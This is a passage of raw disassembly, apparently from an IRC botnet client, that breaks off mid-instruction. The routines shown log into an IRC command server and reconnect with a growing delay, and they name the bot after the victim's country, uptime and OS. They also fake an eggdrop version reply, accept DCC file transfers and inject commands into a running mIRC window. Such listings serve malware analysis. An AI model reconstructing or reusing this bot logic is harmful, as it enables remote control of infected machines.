loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA68[eax] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DA6C[eax] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp dword_41DA70[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push dword_41DA70[eax] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx push offset byte_41E718 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E718 test eax, eax jz short loc_40D099 push offset byte_41E718 call sub_4105FB pop ecx push offset byte_41E718 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E718 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EEC8 test eax, eax jz short loc_40D0C3 push offset byte_41EEC8 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F048 test eax, eax jz short loc_40D0F6 push offset byte_41F048 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EE48 test eax, eax jz short loc_40D163 push offset byte_41EE48 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, byte_41DB34 test eax, eax jz short loc_40D31D push offset byte_41DB34 push offset dword_41DAB4 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DAB4 call sub_4105FB pop ecx movsx eax, byte_41DBB4 test eax, eax jz short loc_40D31D push offset byte_41DBB4 push offset dword_41ED48 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41ED48 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DAA4 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EE48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push dword_41E9A4 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E898 call sub_4105FB pop ecx push offset dword_41E998 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41E998 push offset dword_41E898 call sub_4050EA add esp, 10h mov dword_41E9A4, eax push offset dword_41E898 call sub_4105AD pop ecx push offset dword_41E998 call sub_4105AD pop ecx cmp dword_41E9A4, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push dword_41E9A4 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call dword_4171EC ; SendMessageA push [ebp+var_C] call dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DAB4 lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DC34 push 3B6h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push offset a433 ; "433" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DCFD call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_2CC], eax cmp [ebp+var_2CC], 4 jnb short loc_40DB71 call sub_406AE7 test eax, eax jz loc_40DCB8 loc_40DB71: ; CODE XREF: sub_40D871+2F1j call sub_406A23 lea eax, [ebp+var_390] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40DB9A push offset aUnk ; "UNK" lea eax, [ebp+var_390] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DB9A: ; CODE XREF: sub_40D871+314j call sub_408E8E cmp eax, 400h jbe short loc_40DBB3 call sub_408E8E mov [ebp+var_7E4], eax jmp short loc_40DBBD ; --------------------------------------------------------------------------- loc_40DBB3: ; CODE XREF: sub_40D871+333j mov [ebp+var_7E4], 400h loc_40DBBD: ; CODE XREF: sub_40D871+340j mov eax, [ebp+var_7E4] shr eax, 0Ah mov [ebp+var_36C], eax call sub_408887 mov [ebp+var_2D0], eax mov [ebp+var_368], offset aB ; "B" cmp [ebp+var_2D0], 3E8h jnb short loc_40DBF7 mov [ebp+var_368], offset aA ; "A" loc_40DBF7: ; CODE XREF: sub_40D871+37Aj cmp [ebp+var_2D0], 1F4h jnb short loc_40DC0D mov [ebp+var_368], offset aG ; "G" loc_40DC0D: ; CODE XREF: sub_40D871+390j and [ebp+var_370], 0 mov [ebp+var_364], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DAA4 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov 